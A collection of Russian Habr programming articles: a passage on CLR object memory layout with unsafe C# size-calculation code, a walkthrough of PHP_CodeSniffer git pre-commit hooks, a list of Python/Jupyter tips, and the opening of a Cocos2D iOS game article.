2. Если вы хотите рассчитать чего вам будет стоить боксинг, то вы можете округлить `sizeof(TType)` в большую сторону до размера слова процессора (4 или 8 байт) и прибавить еще 2 слова. Или же взять это значение из `VMT` типа.
3. При необходимости понять во что нам обойдется выделение памяти в куче, у нас три варианта:
#### System.String
Про строки в вопросах практики мы поговорим отдельно: этому относительно небольшому классу можно выделить целую главу. А в рамках главы про строение VMT мы поговорим про строение строк на низком уровне. Для хранения строк применяется стандарт UTF16. Это значит что каждый символ занимает 2 байта. Дополнительно в конце каждой строки хранится null-терминатор (т.е. значение, которое идентифицирует что строка закончилась). Также хранится длина строки в виде Int32 числа — чтобы не считать длину каждый раз когда она вам понадобится. Про кодировки мы поговорим отдельно, а пока этой информации нам хватит.
```
// Для .NET Framework 4 и старше
-------------------------------------------------------------------------
| SyncBlkIndx | VMTPtr | Length | char | char | Term |
-------------------------------------------------------------------------
| 4 / 8 байт | 4 / 8 байт | 4 байта | 2 б. | 2 б. | 2 б. |
-------------------------------------------------------------------------
| -1 | 0xXXXXXXXX | 2 | a | b | nil |
-------------------------------------------------------------------------
Term - null terminator
Sum size = (12 (24) + 2 + (Len*2)) -> округлить в большую сторону по разрядности. (20 байт в примере)
// Для .NET Framework 3.5 и младше
------------------------------------------------------------------------------
| SyncBlkIndx| VMTPtr | ArrayLength | Length | char | char | Term |
------------------------------------------------------------------------------
| 4 / 8 байт | 4 / 8 байт | 4 байта | 4 байта | 2 б. | 2 б. | 2 б. |
------------------------------------------------------------------------------
| -1 | 0xXXXXXXXX | 3 | 2 | a | b | nil |
------------------------------------------------------------------------------
Term - null terminator
Sum size = (16 (32) + 2 + (Len*2)) -> округлить в большую сторону по разрядности. (24 байта в примере)
```
Перепишем наш метод чтобы научить его считать размер строк:
```
unsafe int SizeOf(object obj)
{
var majorNetVersion = Environment.Version.Major;
var type = obj.GetType();
var href = Union.GetRef(obj).ToInt64();
var DWORD = sizeof(IntPtr);
var baseSize = 3 * DWORD;
if (type == typeof(string))
{
if (majorNetVersion >= 4)
{
var length = (int)*(int*)(href + DWORD /* skip vmt */);
return DWORD * ((baseSize + 2 + 2 * length + (DWORD-1)) / DWORD);
}
else
{
// on 1.0 -> 3.5 string have additional RealLength field
var arrlength = *(int*)(href + DWORD /* skip vmt */);
var length = *(int*)(href + DWORD /* skip vmt */ + 4 /* skip length */);
return DWORD * ((baseSize + 2 + 2 * length + (DWORD -1)) / DWORD);
}
}
else
if (type.BaseType == typeof(Array) || type == typeof(Array))
{
return ((ArrayInfo*)href)->SizeOf();
}
return SizeOf(type);
}
```
Где `SizeOf(type)` будет вызывать старую реализацию — для фиксированных по длине ссылочных типов.
Давайте проверим код на практике:
```
Action stringWriter = (arg) =>
{
Console.WriteLine($"Length of `{arg}` string: {SizeOf(arg)}");
};
stringWriter("a");
stringWriter("ab");
stringWriter("abc");
stringWriter("abcd");
stringWriter("abcde");
stringWriter("abcdef");
}
-----
Length of `a` string: 16
Length of `ab` string: 20
Length of `abc` string: 20
Length of `abcd` string: 24
Length of `abcde` string: 24
Length of `abcdef` string: 28
```
Расчеты показывают что размер строки увеличивается не линейно а ступенчато: каждые два символа. Это происходит потому что размер каждого символа — 2 байта, они следуют друг за другом. Но конечный размер должен без остатка делиться на разрядность процессора. Т.е. некоторые строки доберут еще 2 байта «вверх». Результат нашей работы прекрасен: мы можем подсчитать во что нам обошлась та или иная строка. Последним этапом нам осталось узнать как считать размер массивов в памяти и чтобы задача стала еще более практичной давайте сделаем метод, который будет отвечать нам на вопрос: какого размера массив надо будет взять чтобы мы уместились в SOH. Может показаться что использовать свойство Length было бы разумнее и быстрее: однако на самом деле это будет медленнее работать: дополнительные издержки.
#### Массивы
Строение массивов несколько сложнее: ведь у массивов могут быть варианты их строения:
1. Они могут хранить значимые типы, а могут хранить ссылочные
2. Массивы могут содержать как одно так и несколько измерений
3. Каждое измерение может начинаться как с `0` так и с любого другого числа (это на мой взгляд очень спорная возможность: избавлять программиста от лени сделать `arr[i — startIndex]` на уровне FCL)
Отсюда и некоторая путаность в реализации массивов и невозможность точно предсказать размер конечного массива: мало перемножить количество элементов на их размер. Хотя, конечно, для большинства случаев это будет более-менее достаточным. Важным размер становится когда мы боимся попасть в LOH. Однако у нас и тут возникают варианты: мы можем просто накинуть к размеру, подсчитанному «на коленке» какую-то константу сверху (например, 100) чтобы понять, перешагнули мы границу в 85000 или нет. Однако, в рамках данного раздела задача несколько другая: понять структуру типов. На нее и посмотрим:
```
// Заголовок
--------------------------------------------------------------------------------
| SBI | VMTPtr |Total | Len_1 | Len_2 | .. | Len_N | Term | VMT_Child |
--------------------------opt-------opt------------opt-------opt--------opt-----
| 4 / 8 | 4 / 8 | 4 | 4 | 4 | | 4 | 4 | 4/8 |
--------------------------------------------------------------------------------
|0xFF.FF|0xXX.XX | ? | ? | ? | | ? |0x00.00| 0xXX..XX |
--------------------------------------------------------------------------------
- opt: опционально
- SBI: Sync Block Index
- VMT_Child: присутствует только если массив хранит данные ссылочного типа
- Total: присутствует для оптимизации. Общее количество элементов массива с учетом всех размерностей
- Len_2..Len_N + Term: присутствуют только если размерность массива более 1 (регулируется битами в VMT->Flags)
```
Как мы видим, заголовок типа хранит данные об измерениях массива: их число может быть как 1 так и достаточно большим: фактически их размер ограничивается только null-терминатором, означающим что перечисление закончено. Данный пример доступен полностью в файле [GettingInstanceSize](./samples/GettingInstanceSize.linq), а ниже я приведу только его самую важную часть:
```
public int SizeOf()
{
var total = 0;
int elementsize;
fixed (void* entity = &MethodTable)
{
var arr = Union.GetObj((IntPtr)entity);
var elementType = arr.GetType().GetElementType();
if (elementType.IsValueType)
{
var typecode = Type.GetTypeCode(elementType);
switch (typecode)
{
case TypeCode.Byte:
case TypeCode.SByte:
case TypeCode.Boolean:
elementsize = 1;
break;
case TypeCode.Int16:
case TypeCode.UInt16:
case TypeCode.Char:
elementsize = 2;
break;
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Single:
elementsize = 4;
break;
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Double:
elementsize = 8;
break;
case TypeCode.Decimal:
elementsize = 12;
break;
default:
var info = (MethodTable\*)elementType.TypeHandle.Value;
elementsize = info->Size - 2 \* sizeof(IntPtr); // sync blk + vmt ptr
break;
}
}
else
{
elementsize = IntPtr.Size;
}
// Header
total += 3 \* sizeof(IntPtr); // sync blk + vmt ptr + total length
total += elementType.IsValueType ? 0 : sizeof(IntPtr); // MethodsTable for refTypes
total += IsMultidimentional ? Dimensions \* sizeof(int) : 0;
}
// Contents
total += (int)TotalLength \* elementsize;
// align size to IntPtr
if ((total % sizeof(IntPtr)) != 0)
{
total += sizeof(IntPtr) - total % (sizeof(IntPtr));
}
return total;
}
```
Этот код учитывает все вариации типов массивов и может быть использован для расчета его размера:
```
Console.WriteLine($"size of int[]{{1,2}}: {SizeOf(new int[2])}");
Console.WriteLine($"size of int[2,1]{{1,2}}: {SizeOf(new int[1,2])}");
Console.WriteLine($"size of int[2,3,4,5]{{...}}: {SizeOf(new int[2, 3, 4, 5])}");
---
size of int[]{1,2}: 20
size of int[2,1]{1,2}: 32
size of int[2,3,4,5]{...}: 512
```
#### Выводы к разделу
На данном этапе мы научились нескольким достаточно важным вещам. Первое — мы разделили для себя ссылочные типы на три группы: на ссылочные типы фиксированного размера, generic типы и ссылочные типы переменного размера. Также мы научились понимать структуру конечного экземпляра любого типа (про структуру VMT я пока молчу. Мы там поняли целиком пока что только одно поле: а это тоже большое достижение). Будь то фиксированного размера ссылочный тип (там все предельно просто) или же неопределенного размера ссылочный тип: массив или строка. Неопределенного потому что его размер будет определен при создании. С generic типами на самом деле все просто: для каждого конкретного generic типа создается своя VMT, в которой будет проставлен конкретный размер.
### Methods Table
#### VMT классов
Объяснение работы Methods Table по большей части академическое: ведь в такие дебри лезть — это как самому себе могилу рыть. С одной стороны такие закрома таят что-то будоражащее и интересное, хранят некие данные, которое еще больше раскрывают понимание о происходящем. Однако с другой стороны все мы понимаем что Microsoft не будет нам давать никаких гарантий что они оставят свой рантайм без изменений и, например, вдруг не передвинут таблицу методов на одно поле вперед.
Ну все, предупредил. Теперь давайте окунемся в мир как говорится зазеркалья. Ведь до сих пор всё зазеркалье сводилось к знаниям структуры объектов: а её по-идее мы и так должны знать хотя бы примерно. И по своей сути эти знания зазеркальем не являются, а являются скорее входом в зазеркалье. Вернемся к структуре `MethodTable`, [описанной в CoreCLR](https://github.com/dotnet/coreclr/blob/master/src/vm/methodtable.h#L4099-L4114):
```
// Low WORD is component size for array and string types (HasComponentSize() returns true).
// Used for flags otherwise.
DWORD m_dwFlags;
// Base size of instance of this class when allocated on the heap
DWORD m_BaseSize;
WORD m_wFlags2;
// Class token if it fits into 16-bits. If this is (WORD)-1, the class token is stored in the TokenOverflow optional member.
WORD m_wToken;
// In the normal cases we shouldn't need a full word for each of these
WORD m_wNumVirtuals;
WORD m_wNumInterfaces;
```
А именно к полям `m\_wNumVirtuals` и `m\_wNumInterfaces`. Эти два поля определяют ответ на вопрос «сколько виртуальных методов и интерфейсов существует у типа?». В этой структуре нет никакой информации об обычных методах, полях, свойствах (которые объединяют методы) и \*\*никак не связано с рефлексией\*\*. По своей сути и назначению эту структура создана для работы вызова методов в CLR (и на самом деле в любом ООП: будь то Java, C++, Ruby или же что-то еще. Просто расположение полей будет несколько другим). Давайте рассмотрим код:
```
public class Sample
{
public int _x;
public void ChangeTo(int newValue)
{
_x = newValue;
}
public virtual GetValue()
{
return _x;
}
}
public class OverridedSample : Sample
{
public override GetValue()
{
return 666;
}
}
```
Какими бы бессмысленными не казались эти классы, они нам вполне сгодятся для описания их VMT. А для этого мы должны понять чем отличаются базовый тип и унаследованный в вопросе методов `ChangeTo` и `GetValue`.
Метод `ChangeTo` присутствует в обоих типах: при этом его нельзя переопределять. Это значит что он может быть переписан так:
```
public class Sample
{
public int _x;
public static void ChangeTo(Sample self, int newValue)
{
self._x = newValue;
}
// ...
}
// Либо в случае если бы он был struct
public struct Sample
{
public int _x;
public static void ChangeTo(ref Sample self, int newValue)
{
self._x = newValue;
}
// ...
}
```
И при этом кроме архитектурного смысла ничего не поменяется: поверьте, при компиляции оба варианта будут работать одинаково, т.к. у экземплярных методов `this` — это всего лишь первый параметр метода, который передается нам неявно.
> Заранее поясню, почему все объяснения вокруг наследования строятся вокруг примеров на статических методах: по сути все методы статические. И экземплярные и нет. В памяти нет по экземпляру скомпилированных методов для каждого экземпляра класса. Это занимало бы огромное количество памяти: проще одному и тому же методу каждый раз передавать ссылку на экземпляр той структуры или класса, с которыми он работает.
>
>
Для метода `GetValue` все обстоит совершенно по-другому. Мы не можем просто взять и переопределить метод переопределением \*статического\* `GetValue` в унаследованном типе: новый метод получат только те участки кода, которые работают с переменной как с `OverridedSample`, а если с переменной работать как с переменной базового типа `Sample` вызвать вы можете только `GetValue` базового типа поскольку вы понятия не имеете какого типа на самом деле объект. Для того чтобы понимать какого типа является переменная и как результат — какой конкретно метод вызывается, мы можем поступить следующим образом:
```
void Main()
{
var sample = new Sample();
var overrided = new OverridedSample();
Console.WriteLine(sample.Virtuals[Sample.GetValuePosition].DynamicInvoke(sample));
Console.WriteLine(overrided.Virtuals[Sample.GetValuePosition].DynamicInvoke(sample));
}
public class Sample
{
public const int GetValuePosition = 0;
public Delegate[] Virtuals;
public int _x;
public Sample()
{
Virtuals = new Delegate[1] {
new Func(GetValue)
};
}
public static void ChangeTo(Sample self, int newValue)
{
self.\_x = newValue;
}
public static int GetValue(Sample self)
{
return self.\_x;
}
}
public class OverridedSample : Sample
{
public OverridedSample() : base()
{
Virtuals[0] = new Func(GetValue);
}
public static new int GetValue(Sample self)
{
return 666;
}
}
```
В этом примере мы фактически строим таблицу виртуальных методов вручную, а вызовы делаем по позиции метода в этой таблице. Если вы поняли суть примера, то вы фактически поняли как строится наследование на уровне скомпилированного кода: методы вызываются по своему индексу в таблице виртуальных методов. Просто когда вы создаете экземпляр некоторого унаследованного типа, то по местам где у базового типа находятся виртуальные методы компилятор расположит указатели на переопределенные методы. Таким обращом отличие нашего примера от реальной VMT заключается только в том, что когда компилятор строит эту таблицу, он заранее знает с чем имеет дело и создает таблицу правильного размера: в нашем примере чтобы построить таблицу для типов, которые будут делать таблицу более крупной за счет добавления новых методов придется изрядно попотеть. Но наша задача заключается в другом, а потому такими извращениями мы заниматься не станем.
> ### Ссылка на всю книгу
>
>
>
> *  CLR Book: [GitHub](https://github.com/sidristij/dotnetbook/)
> *  Релиз 0.5.0 книги, PDF: [GitHub Release](https://github.com/sidristij/dotnetbook/releases/tag/0.5.0)
>
>
>
>
[](https://habr.com/ru/company/clrium/blog/465081/) | https://habr.com/ru/post/344556/ | null | ru | null |
# Автоматизированная проверка PHP кода при комитах
В свое время работая в узком кругу программистов, отдельными задачами и даже проектам, мы не задумывались о проблемах связанными с текучкой кадров. Точнее думать — думали, но ни каких мер не применяли, да и в целом коллектив был сплоченный никто не уходил и никого «не уходили». С ростом внутренних проектов и корпоративных клиентов, штат начал разрастаться и казалось, что все отлично — нас больше, значит будем больше успевать и делать, но не тут то было. Мы начали тратить кучу времени на “бесполезные” обсуждения, проверки, излишние проектирование и т.д, больше всего раздражает — это проверка кода. И тут я начал думать, что “мудрые и древние” наверняка решали эти проблемы с сотнями, тысячами программистов, неужели мы не справимся? Я решил провести эксперимент, под названием “автоматизированная проверка стиля кода при комитах”. Для большинства из Вас это не новость и наверняка вы этим пользуетесь, но поделиться опытом внедрения думаю, не будет лишним.
###### Воскресения, 3:40
В это ранние время, сидя за работой и сделав перерыв на чай, я задумался, завтра нужно ехать в офис и снова утром тратить 2 — 3 часа на проверку кода, потом еще 2 часа на постановку задач, итого 5 часов, потом может быть поработать 2 часа и ехать домой. И понятное дело, что задачи которые поставили, я не могу решить за оставшиеся 2 — 3 часа, а решая эти проблемы в неурочное время могу разрушить свою семью и т.д. Так дальше не может продолжаться. В первую очередь я программер, а не «цербер» и нужно автоматизировать процесс проверки, это если не снимет все время проверки, то хотя бы сократит.
Не люблю изобретать колесо, потому сразу обратился к поисковику и задал запрос: «checking coding standards PHP», просматривая первый десяток результатов обратил внимание на часто встречающийся название "[PHP\_Codesniffer](http://pear.php.net/package/PHP_CodeSniffer/)" и задав одноименный запрос — увидел, что это PEAR библиотека для автоматизированной проверки стиля кода, как говориться -«то что, доктор прописал!» и надежности разработчиков сомневаться не приходиться, что благотворно повлияет при возможном глобальном внедрении. Установив на сервер библиотеку:
`pear install PHP_CodeSniffer-1.3.0RC1`
Предполагаться, что у вас установлен дистрибутив PEAR на сервере. После установки станет доступна новая служба phpcs:
`phpcs --standard=Zend your.php`
Не много поигравшись, меня порадовало, что уже данное решение поддерживает многие стандарты: Squiz, MySource, PHPCS, Zend, PEAR. Меня это устраивало, так как мы утвердили в свое время, что будем кодить согласно стандарту Zend.
Про затачивания это библиотеки можно почитать в [официально документации](http://pear.php.net/package/PHP_CodeSniffer/docs)
###### Воскресение, 4:00
Окрыленный своей находкой и быстрым ее “поднятием”, сон отступил. Первая задача была решена, теперь осталось подключить это решения к контролю версий при комите. В документации к PHP\_CodeSniffer есть раздел посвященный описанию [интеграции с SVN](http://pear.php.net/manual/en/package.php.php-codesniffer.svn-pre-commit.php) — это было хорошо, так как у нас SVN любят использовать, но я использую GIT и решил писать свой хук для git и тут думаю: “не верю, что на PEARовское решения нет описания интеграции c GIT”. И снова обратившись к поисковику нашел готовое решение [phpcs-pre-commit](https://github.com/s0enke/git-hooks/tree/master/phpcs-pre-commit/):
`git clone https://github.com/s0enke/git-hooks.git`
Для интеграции этого хука нужно положить файлик pre-commit в папку hooks вашего git репозитория (.git/hooks). Кто интересовался git хуками — тот в теме.
И последние проверка коммита мне вывелась таблица с описание ошибок не соблюдения стиля. Не буду приводить пример того, как отображает таблицу ошибок phpcs, да и зачем. В .git/hooks/pre-commit нужно указать какой стиль вы хотите использовать:
`PHPCS_CODING_STANDARD=Zend`
Также укажите расширения файлов которые необходимо проверять:
`PHPCS_FILE_PATTERN="\.(php|phtml)$"`
Если при комите вам выдает ошибку:
`error: cannot run .git/hooks/pre-commit: No such file or directory`
Это значит, что указан не правильный путь к bash, измените его в .git/hooks/pre-commit
Задача в целом решена, плюс CodeSniffer в том, что с ним обязанность проверять “юношеские” ошибки, которые свойственны всем — отпадает. И главный плюс, что заставит “молодых” просматривать код как минимум при поиски ошибки стиля и возможно проведения минимального рефакторинга.
Теперь можно в понедельник ехать на работу и рассказать об нововведениях. Если это поможет нам, то можно будет идти лоббировать интеграцию данного решения для всех.
###### Понедельник, 17:00
В целом все было отлично, но проект на котором решил тестировать, довольно таки древний и некоторые моменты привести к стандарту Zend было накладно, например верблюжий стиль переменных. И пришлось создать свой стандарт для PHP\_Codesniffer. Сами описания проверки стиля лежат в:
`PEAR_PATH/PHP/CodeSniffer/Standards/`
PEAR\_PATH — это путь к папке с PEAR библиотеками у нас на сервере они располагаются в /usr/local/share/pear/.
Для создания своего стиля создайте папку YOUR\_STYLE в PEAR\_PATH/PHP/CodeSniffer/Standards/.
В паке вашего стиля нужно создать ruleset.xml. Про формат этого файла можно почитать [тут](http://pear.php.net/manual/en/package.php.php-codesniffer.annotated-ruleset.php), опишу только-то, что пригодилось мне.
Связи с тем, что требования кодированию максимально приближены к Zend стилю, просто скопировал содержание с PEAR\_PATH/PHP/CodeSniffer/Standards/Zend/ruleset.xml:
> `xml version=<font color="#A31515""1.0"?>
>
> "Zend">
>
> A coding standard based on an early Zend Framework coding standard. Note that this standard is out of date.
>
>
>
>
>
> ref="Generic.Functions.FunctionCallArgumentSpacing"/>
>
> ref="Generic.Functions.OpeningFunctionBraceBsdAllman"/>
>
> ref="Generic.PHP.DisallowShortOpenTag"/>
>
> ref="Generic.WhiteSpace.DisallowTabIndent"/>
>
> ref="PEAR.Classes.ClassDeclaration"/>
>
> ref="PEAR.ControlStructures.ControlSignature"/>
>
> ref="PEAR.Functions.FunctionCallSignature"/>
>
> ref="PEAR.Functions.ValidDefaultValue"/>
>
> ref="PEAR.WhiteSpace.ScopeClosingBrace"/>
>
> ref="Squiz.Functions.GlobalFunction"/>
>
>
>
>
>
> ref="Generic.Files.LineLength">
>
>
>
> "lineLimit" value="120"/>
>
> "absoluteLineLimit" value="140"/>
>
>
>
>
>
>
>
>
>
> ref="Generic.Files.LineEndings">
>
>
>
> "eolChar" value="\n"/>`
В теге ruleset замените имя на свое имя YOUR\_STYLE и добавляю одно правило с Zend:
> `ref="Zend.Debug.CodeAnalyzer"/>`
Для отключения верблюжьего стиля копирую:
PEAR\_PATH/PHP/CodeSniffer/Standards/Zend/Sniffs/NamingConventions/ValidVariableNameSniff.php в PEAR\_PATH/PHP/CodeSniffer/Standards/YOUR\_STYLE/Sniffs/NamingConventions/ValidVariableNameSniff.php. Переименовав класс с Zend\_Sniffs\_NamingConventions\_ValidVariableNameSniff на YOUR\_STYLE\_Sniffs\_NamingConventions\_ValidVariableNameSniff, добавил:
> `public $isCheckCamelCaps;`
И добавил везде проверку на этот “флажок”. Теперь если нужно будет его переопределить — это можно будет сделать из ruleset.xml:
> `ref="YOUR\_STYLE.NamingConventions.ValidVariableName">
>
>
>
> "isCheckCamelCaps" value="1"/>`
###### Вторник, 19:00
Повсплывало много моментов на которые свое время закрывались глаза, но пришло время их приводить в порядок! Самой полезной проверкой стиля кода оказалась проверка на длину строки кода, и благодаря ее было зарефакторено много нечитабельных мест.
Правда столкнулись с проблемой с русскими комментариями, код весь хранится в UTF-8, а CodeSniffer длину строки проверяет стандартным strlen и логично что строки увеличивались в два раза. Не стал я заморачиваться на переопределения класса, что было бы правильнее, а просто в PEAR\_PATH/PHP/CodeSniffer/Standards/Generic/Sniffs/Files/LineLengthSniff.php добавил:
> `public $charset = 'UTF-8';`
и заменил strlen, на:
> `mb\_strlen($lineContent, $this->charset)`
###### Суббота
Прошла нелегкая неделя с CodeSniffer, и вот какие плюсы:
* Снимается время и нервы на проверку стиля кода;
* при исправление ошибок длины строк, пересматриваешь логику кода, что благотворно влияет на читабельность кода и проведения рефакторинга мутной логики. Также снимается надобность объяснять когда одно-строчные if хорошо, а когда плохо;
* снимается обязанность следить за документацией стиля кодирования;
* поддерживает проверку всех популярных стандартов кодинга.
Минусы:
* Неудобно внедрять в “исторические” проекты или чужие, можно потратить несколько дней, а то и недель на наведения икебаны;
* не удобно внедрять с контроль версиями, так как без напильника не подымешь, что для GIT, что для SVN. Особенно когда проектов несколько десятков и не для всех одинаковый стиль кодинга. | https://habr.com/ru/post/111977/ | null | ru | null |
# 10 фич для ускорения анализа данных в Python
*[Источник](https://pixabay.com/images/id-2123970/)*
Советы и рекомендации, особенно в программировании, могут быть очень полезны. Маленький шоткат, аддон или хак может сэкономить кучу времени и серьёзно увеличить производительность. Я собрала свои самые любимые и сделала из них эту статью. Какие-то из советов ниже уже известны многим, а какие-то появились совсем недавно. Так или иначе, я уверена, они точно не будут лишними, когда вы в очередной раз приступите к проекту по анализу данных.
### 1. Профилирование Pandas Dataframe
Профилирование помогает лучше понять наши данные, и пакет [**Pandas Profiling**](https://github.com/pandas-profiling/pandas-profiling) создан как раз для этого. Библиотека даст возможность просто и быстро выполнить [разведочный анализ](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BE%D1%87%D0%BD%D1%8B%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85) Pandas Dataframe. Обычно в таких случаях в качестве первого шага используются функции **df.describe()** и **df.info()**, но они сообщают мало и плохо справляются с большими наборами данных. Одна строка кода с использованием **Pandas Profiling**, напротив, выведет много информации в интерактивном HTML-отчете.
Вот что вычисляется для заданного набора данных:
*Статистика выводимая Pandas Profiling.*
#### Установка
```
pip install pandas-profiling
или
conda install -c anaconda pandas-profiling
```
#### Использование
Давайте используем набор данных о пассажирах Титаника, чтобы продемонстрировать возможности профайлера.
```
# импорт необходимых пакетов
import pandas as pd
import pandas_profiling
```
```
df = pd.read_csv('titanic/train.csv')
pandas_profiling.ProfileReport(df)
```
Это всё что нужно для вывода результатов профилирования. Отчёт изобилует деталями, включая, где это необходимо, диаграммы.
Отчёт можно экспортировать в **интерактивный HTML файл**:
```
profile = pandas_profiling.ProfileReport(df)
profile.to_file(outputfile="Titanic data profiling.html")
```
[**Кликните здесь**](https://htmlpreview.github.io/?https://github.com/pandas-profiling/pandas-profiling/blob/master/examples/titanic/titanic_report.html), чтобы посмотреть вживую.
*([папка с примерами](https://github.com/pandas-profiling/pandas-profiling/tree/master/examples) — прим. перев.)*
---
### 2. Делаем графики Pandas интерактивными
У класса **DataFrame** в **Pandas** есть встроенная функция **.plot()**. Однако визуализация создаваемая с её помощью, не является интерактивной, что хотелось бы усовершенствовать. С другой стороны, отказываться от простоты использования функции тоже не хочется. Что если бы мы могли сделать графики **Pandas** интерактивными, практически не внося изменений в код? Именно это возможно с библиотекой [**Cufflinks**](https://github.com/santosjorge/cufflinks)**.**
**Cufflinks** связывает силу [**plotly**](https://www.plot.ly/)с гибкостью [Pandas](https://pandas.pydata.org/) для построения интерактивных графиков. Давайте посмотрим, как можно установить библиотеку и заставить её работать с **Pandas**.
#### Установка
```
pip install plotly # Plotly должен быть установлен до Cufflinks
pip install cufflinks
```
#### Использование
```
# импортируем Pandas
import pandas as pd
#импортируем plotly и cufflinks в оффлайн режиме
import cufflinks as cf
```
```
import plotly.offline
cf.go_offline()
cf.set_config_file(offline=False, world_readable=True)
```
Время увидеть всю мощь инструмента на данных о пассажирах Титаника.
```
df.iplot()
```
***df.plot()** в сравнении с **df.iplot()***
Визуализация снизу показывает статическую диаграмму, в то время как верхняя диаграмма является интерактивной и более подробной, и всё это без каких-либо существенных изменений в синтаксисе.
**[Здесь](https://github.com/santosjorge/cufflinks/blob/master/Cufflinks%20Tutorial%20-%20Pandas%20Like.ipynb)** можно посмотреть больше примеров.
---
### 3. Немного магии
**Magic commands** — это набор удобных функций в ноутбуках Jupyter, предназначенных для решения распространенных задач стандартного анализа данных. Вы можете посмотреть все доступные функции с помощью **%lsmagic**.
*Список всех доступных «магических» функций*
Магические команды бывают двух видов: ***line magics***, которые начинаются с единственного символа **%** и работают на одной строке; и ***cell magics***, которые ассоциированы с двойным **%%** и работают на нескольких строках.
Давайте рассмотрим те из них, которые полезны в общих задачах анализа данных:
* **%pastebin**
**%pastebin** загружает код в [Pastebin](https://en.wikipedia.org/wiki/Pastebin) и возвращает урл. Pastebin — это сайт, где мы можем сохранить обычный текст, например фрагмент исходного кода, чтобы затем передать ссылку на него другим. Фактически, GitHub Gist сродни Pastebin, хотя и с контролем версий.
Рассмотрим такой скрипт:
```
# file.py
def foo(x):
return x
```
Использование **%pastebin**в Jupyter Notebook создаст урл на Pastebin.
* **%matplotlib notebook**
Команда **%matplotlib inline** используется для визуализации статических графиков **matplotlib** в Jupyter Notebook. Замените **inline** на **notebook**, чтобы получить масштабируемые и изменяемые диаграммы. Только убедитесь, что команда добавлена перед импортом **matplotlib**.
***%matplotlib inline** в сравнении с **%matplotlib notebook***
* **%run**
Команда **%run** запускает скрипт внутри Jupyter Notebook.
```
%run file.py
```
* **%%writefile**
**%%writefile** записывает содержимое ячейки в файл. Код ниже будет записан в файл с именем **foo.py**и сохранён в текущем каталоге.
* **%%latex**
Функция **%%latex** отображает содержимое ячейки как LaTeX. Это полезно для написания математических формул и уравнений в ячейке.
---
### 4. Поиск и устранение ошибок
**Интерактивный отладчик**также является магической командой, но я дала ему собственную категорию. Если при запуске ячейки с кодом возникает исключение, введите на новой строке команду **%debug** и выполните её. Откроется интерактивная среда отладки, которая покажет место, где возникло исключение. Вы сможете проверять значения переменных и выполнять различные операции. Для выхода из отладчика нажмите клавишу **q**.
---
### 5. Вывод может быть красивым
Если вы хотите, чтобы ваши структуры данных выводились красиво, то **[pprint](https://docs.python.org/3.7/library/pprint.html)** — ваш выбор. Это особенно полезно при печати словарей или данных JSON. Давайте рассмотрим код, который использует как print, так и pprint для вывода.
---
### 6. Выделение заметок
Мы можем использовать алерты в наших Jupyter Notebooks, чтобы выделять что-то важное. Цвет будет зависеть от типа алерта. Просто добавьте любой или все из следующих кодов в ячейку, которую хотите выделить.
* **Синий алерт: информация**
```
**Tip:** Use blue boxes (alert-info) for tips and notes.
If it’s a note, you don’t have to include the word “Note”.
```
* **Жёлтый алерт: Предупреждение**
```
**Example:** Yellow Boxes are generally used to include additional examples or mathematical formulas.
```
* **Зелёный алерт: Успех**
```
Use green box only when necessary like to display links to related content.
```
* **Красный алерт: Опасность**
```
It is good to avoid red boxes but can be used to alert users to not delete some important part of code etc.
```
---
### 7. Печать каждого вывода в ячейке
Рассмотрим ячейку Jupyter Notebook, содержащую такой код:
```
In [1]: 10+5
11+6
```
```
Out [1]: 17
```
Это нормальное свойство ячейки, что печатается только последний вывод, а для других нам нужно добавить функцию **print()**. Что ж, оказывается, мы можем распечатать все выводы, добавив сверху следующий фрагмент:
```
from IPython.core.interactiveshell import InteractiveShell
InteractiveShell.ast_node_interactivity = "all"
```
Теперь все выводы печатаются один за другим.
```
In [1]: 10+5
11+6
12+7
```
```
Out [1]: 15
Out [1]: 17
Out [1]: 19
```
Чтобы вернуться к исходной настройке:
```
InteractiveShell.ast_node_interactivity = "last_expr"
```
---
### 8. Запуск скриптов на Python с опцией '-i'.
Типичный способ запуска скрипта на Python из командной строки: **python hello.py**. Однако, если вы добавите параметр **-**i, т.е. вызовите **python -i hello.py** то получите гораздо больше. Посмотрим, что же именно.
* Во-первых, как только конец программы достигнут, Python теперь не выходит из интерпретатора. Таким образом, мы можем проверить значения переменных и правильность функций, определенных в нашей программе.
* Во-вторых, так как мы всё ещё находимся в интерпретаторе, мы можем легко вызвать отладчик питона:
```
import pdb
pdb.pm()
```
Это приведёт нас к месту, где произошло исключение, и мы сможем продолжить работу над кодом.
*Оригинальный*[*источник*](http://www.bnikolic.co.uk:/blog/python-running-cline.html) *фичи.*
---
### 9. Автоматическое (рас)комментирование кода
**Ctrl/Cmd + /** автоматически комментирует выделенные строки в ячейке. Повторное нажатие комбинации раскомментирует те же строки.
*(Это, кстати, верно и для других редакторов типа Pycharm или Sublime Text — прим. перев.)*
---
### 10. Отмена случайных действий
Вы когда-нибудь случайно удаляли ячейку Jupyter Notebook? Если да, то вот шоткаты, которые отменят это действие.
* В случае, если вы удалили содержимое внутри ячейки, вы можете легко восстановить его, нажав **CTRL/CMD+Z**
* Если вам нужно восстановить саму удаленную ячейку — **ESC+Z** или **EDIT > Undo Delete Cells**
---
### Вывод
В этой статье я перечислила основные советы, которые помогают мне при работе с Python и Jupyter Notebooks. Надеюсь, они помогут и вам. Счастливого кодинга! | https://habr.com/ru/post/457302/ | null | ru | null |
# Разработка игры-бесконечной гонки для iOS при помощи Cocos2D-iphone
Сегодня я хочу вам рассказать о создании игры для iOS на основе Cocos2D на примере недавно вышедшей игры «Пчелогонки» (анг. – Bee Race).
Геймплей не содержит в себе ничего сложного – это по сути бесконечный ранер, в котором нужно собирать поинты и уворачиваться от препятствий. Только вместо рыжей девочки или кладоискателя – здесь летает двухмерная пчелка.
Для заинтересовавшихся, прошу под кат (Ахтунг! Минен унд много буквирен).
Основные разделы для рассмотрения:
1. [Очень краткое введение в Cocos2D](#chapter1)
2. [Используем Cocos2D одновременно с StoryBoard](#chapter2)
3. [Краткое описание геймплея и структуры проекта](#chapter3)
4. [Покупаем инструменты и что делать, если душит жаба](#chapter4)
5. [Чем не пахнет приложение или подключаем in-app билинг](#chapter5)
6. [Социализируем. Подключаем Game Center и создаем мультиплеерную версию на два игрока](#chapter6)
7. [В чём промахнулся Акела](#chapter7)
